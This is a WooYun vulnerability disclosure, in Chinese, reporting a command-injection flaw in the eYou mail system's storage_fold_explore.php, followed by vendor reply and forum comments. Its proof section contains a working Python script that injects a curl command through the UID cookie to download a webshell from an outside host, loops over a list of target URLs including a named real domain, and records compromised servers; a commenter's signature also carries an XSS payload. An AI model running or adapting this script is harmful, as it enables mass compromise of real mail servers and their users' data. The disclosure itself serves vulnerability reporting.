当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058531

漏洞标题:亿邮邮件系统命令执行漏洞导致批量Getwebshell

相关厂商:北京亿中邮信息技术有限公司

漏洞作者: conqu3r

提交时间:2014-04-26 15:02

修复时间:2014-06-10 15:03

公开时间:2014-06-10 15:03

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-26: 细节已通知厂商并且等待厂商处理中
2014-04-30: 厂商已经确认,细节仅向厂商公开
2014-05-10: 细节向核心白帽子及相关领域专家公开
2014-05-20: 细节向普通白帽子公开
2014-05-30: 细节向实习白帽子公开
2014-06-10: 细节向公众公开

简要描述:

这套系统还有很多问题,能登录就更多问题了。

详细说明:

user/storage_fold_explore.php

<?php
/**
* 用户网络存储目录列表
*
* 该页面显示登录邮箱用户的网络存储目录列表,选择后保存邮件附件到指定的目录中。
*
* @author FengHui <fenghui@eyou.net>
* @copyright 199902008 eYou.net
* @version storage_explore.php 2008/11/12
*/
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');
require_once(PATH.'inc/user.config.php');
$skin = getCookieUserValue('SKIN');
$uid = getCookieUserValue('UID');
$domain = getCookieUserValue('DOMAIN');
$user_dir_path = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path = $user_dir_path.'/storage/Data/';
$file_name = htmlspecialchars(get('file'));
$att = htmlspecialchars(get('att'));
?>


GetUser_DirPath在/inc/function.php下。

function getUserDirPath($uid, $domain) {
$cmd = "/var/eyou/sbin/hashid $uid $domain";
$path = `$cmd`;
$path = trim($path);
return $path;
}


漏洞证明:

利用代码:

__author__ = 'zengzhang'
import time,sys
import urllib,urllib2
from urlparse import urlparse
def Getwebshell(url):
url=url.strip()
header={"Cookie":"USER=UID%3d1|curl http://conqu3r.paxmac.org/test.txt>>test.php&DOMAIN%3d127.0.0.1"}
try:
request=urllib2.Request(url,None,headers=header)
rep=urllib2.urlopen(request)
except:
pass
Indentified(url)
def Readfile(filen):
fp=open(filen,'r')
for url in fp:
if url!='':
Getwebshell(url)
def Indentified(url):
url=url[:-19]
url=url+"test.php"
try:
f=urllib.urlopen(url).getcode()
if f==200:
fp=open("shell.txt","w+")
fp.write(url+"\n")
fp.close()
except:
pass
Readfile("url.txt")


url.txt内容为:http://mail.bjsasc.com/user/storage_fold_explore.php形式

EF3B5D39-11D7-4760-8E23-A0CA283D7843.png


修复方案:

你们懂的。。。

版权声明:转载请注明来源 conqu3r@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-04-30 10:59

厂商回复:

和之前的重复了,已出补丁,多谢提供!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-26 15:06 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    亿邮别哭,站起来撸

  2. 2014-04-26 15:09 | IT偏执狂 ( 路人 | Rank:6 漏洞数:3 | 禁锢我们的究竟是什么?)

    猩猩之火,可以撩猿。

  3. 2014-04-26 15:26 | Kavia ( 实习白帽子 | Rank:50 漏洞数:10 )

    黑阔你好,腻好,可以给我一套源码吗

  4. 2014-04-26 15:27 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想,没有道德,没有自由,没有人权的...)

    @Kavia 狒狒,你找死么!来,爷给你两套源码!

  5. 2014-04-26 15:30 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    @Kavia 你是卡哇伊?

  6. 2014-04-26 15:40 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @conqu3r ..同求一份源码。、。 我还没找到 我擦。

  7. 2014-04-26 17:01 | 风花雪月 ( 实习白帽子 | Rank:55 漏洞数:44 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)

    再次中枪 呵呵 我也求份源码有么?

  8. 2014-04-26 17:12 | 熊猫 ( 实习白帽子 | Rank:64 漏洞数:33 | panda)

    2013年,亿邮邮件系统获“2013软件行业最佳产品奖”2013年,亿邮电子邮件系统获“2013优秀安全认证产品奖”2012年,亿邮邮件归档系统在中国信息安全大会上荣获“2012年度中国信息安全--优秀产品奖"2011年5月12日,亿邮荣获“中国软件和信息技术服务业10年最佳技术创新奖”奖2010年4月21日,2010第十一届中国信息安全大会亿邮荣获2010年度中国信息安全最值得信赖品牌奖2009年,荣获中国科学技术委员会颁发的“高新技术企业”2009年,荣获中关村管理委员会颁发的“创新企业”2008年,荣获人民大会堂颁发的“中国企业邮箱用户满意第一品牌”2006年11月,亿中邮公司荣获“中国反垃圾邮件自主创新最具价值品牌”。2006年11月,由著名会计师事务所德勤发布的《2005中国高科技高成长50强》评比中,北京亿中邮信息技术有限公司以217.21%的年销售额增长率,排行第32位。2006年,亿中邮公司荣获人民网,新华网,中国品牌网主办 “2006年度中国电子邮箱用户满意信赖第一品牌”称号。2005年11月,由著名会计师事务所德勤发布的《2005中国高科技高成长50强》评比中,北京北京亿中邮信息技术有限公司以170.32%的年销售额增长率,排行第47位。2005年9月3日,由中国互联网协会主办的《2005中国互联网大会》上,“亿邮”品牌入选“2005年度十大企业邮箱推荐品牌”。亿中邮公司并在2005年度亿邮企业邮箱服务质量测评活动中,赢得“最佳反垃圾邮件奖”和“最佳性能奖”等两个单项奖。2004年3月,亿邮邮箱曾经在被美国权威的iUser Survey公司评为《中国用户最常使用的电子邮箱服务商》第7名。

  9. 2014-04-26 19:22 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    @conqu3r 同求一套源码

  10. 2014-04-27 23:41 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    @saline 有了 源码 发我一套。。。

  11. 2014-04-28 09:41 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想,没有道德,没有自由,没有人权的...)

    @xsser 为何没加钱的标志0oooo.

  12. 2014-04-28 16:54 | 枫叶 ( 路人 | Rank:5 漏洞数:1 | 我是枫叶,我做主)

    @saline 同求一套。。。

  13. 2014-06-03 13:02 | d3pT1 ( 路人 | Rank:1 漏洞数:2 | 人法地,地法天,天法道,道法自然。)

    同求一套

  14. 2014-06-10 15:54 | redsin ( 路人 | Rank:16 漏洞数:6 )

    @conqu3r 也求一套

  15. 2014-12-02 20:29 | ooxx ( 路人 | Rank:0 漏洞数:1 | ooxx)

    打下酱油 ~~~~~~~~~~~